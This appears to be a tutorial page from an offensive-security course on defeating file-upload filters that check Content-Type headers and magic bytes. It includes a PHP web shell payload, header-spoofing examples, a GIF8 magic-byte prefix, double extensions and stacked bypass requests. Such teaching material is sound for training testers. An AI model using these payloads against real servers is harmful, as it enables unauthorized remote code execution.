Content-Type, MIME & Magic Byte Filters¶
Beyond the extension
A stronger server checks the file type, not just its name. There are two flavours: the Content-Type header sent by the browser, and the actual file content (its "magic bytes"). Both are attacker-influenced, so both are bypassable — you just have to make your malicious file look like an image.
Type 1 — Content-Type Header Validation¶
In a multipart upload, each file part carries its own Content-Type (MIME type) header that the browser sets from the file's extension:
POST /upload.php HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="uploadFile"; filename="shell.php"
Content-Type: application/x-php <-- the server may check THIS
<?php system($_REQUEST['cmd']); ?>
------WebKitFormBoundary--
A typical server-side check:
$type = $_FILES['uploadFile']['type'];
if (!in_array($type, array('image/jpeg', 'image/png', 'image/gif'))) {
echo "Only images are allowed";
die();
}
The flaw: $_FILES[...]['type'] is taken straight from the request, which you control. In your proxy, change the file part's Content-Type to an allowed value while keeping your PHP body and .php filename:
Content-Disposition: form-data; name="uploadFile"; filename="shell.php"
Content-Type: image/png <-- spoofed; server is happy
<?php system($_REQUEST['cmd']); ?>
Find valid MIME types fast
Need the right MIME string? Common image types: image/jpeg, image/png, image/gif, image/svg+xml. A full reference lives in the IANA media-types registry, but those four cover most image whitelists.
Type 2 — Magic Byte / File-Signature Validation¶
A more robust server ignores the header and inspects the file content. Most file formats start with a fixed signature ("magic bytes") that tools like file use to determine the real type:
| Type | Magic bytes (hex) | ASCII |
|---|---|---|
| JPEG | FF D8 FF E0 |
ÿØÿà |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
‰PNG␍␊␚␊ |
| GIF | 47 49 46 38 37 61 / ...39 61 |
GIF87a / GIF89a |
25 50 44 46 |
%PDF |
PHP's mime_content_type() and finfo read these bytes, not the extension or header:
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['uploadFile']['tmp_name']);
if (!in_array($type, array('image/jpeg', 'image/png', 'image/gif'))) {
echo "Only images are allowed"; die();
}
The Bypass — Prepend a Magic Header¶
Make your file start like an image but still contain executable code. For GIF, the signature GIF8 is enough:
Now finfo reports image/gif (content check passes), and if the extension/handler lets it run as PHP, the GIF8 text is simply printed before your shell output — harmless. You can also do this in your proxy by typing GIF8 at the very start of the file body, before <?php.
Real polyglots
For checks that parse the whole image (e.g. getimagesize()), a four-byte header isn't enough — you need a valid image that also contains code. Embed your payload in a real image's metadata (e.g. the EXIF Comment field) with exiftool:
Stacking Filters¶
Real targets often combine checks. Defeat them in layers, all in one request:
- Extension → use a double extension or allowed extension.
- Content-Type header → spoof to
image/png. - Magic bytes → prepend
GIF8(or use an EXIF polyglot).
Content-Disposition: form-data; name="uploadFile"; filename="shell.jpg.php"
Content-Type: image/gif
GIF8
<?php system($_REQUEST['cmd']); ?>
Match the bypass to the check
Don't shotgun blindly. If the error changes when you fix the Content-Type, you've found the active check. Isolate one layer at a time so you understand exactly what the server validates.
Key Takeaways¶
Revision recap
- Content-Type comes from the request → spoof it to
image/pngin your proxy. - Magic bytes are read from content → prepend a signature like
GIF8before<?php. finfo/mime_content_type()read content;$_FILES['type']reads the header — know which one you're beating.- Whole-image parsers (
getimagesize) need a real image polyglot — embed code viaexiftoolEXIF comment. - Stack the bypasses (extension + Content-Type + magic bytes) in a single request.
➡️ Next: Limited File Uploads — damage you can do without RCE.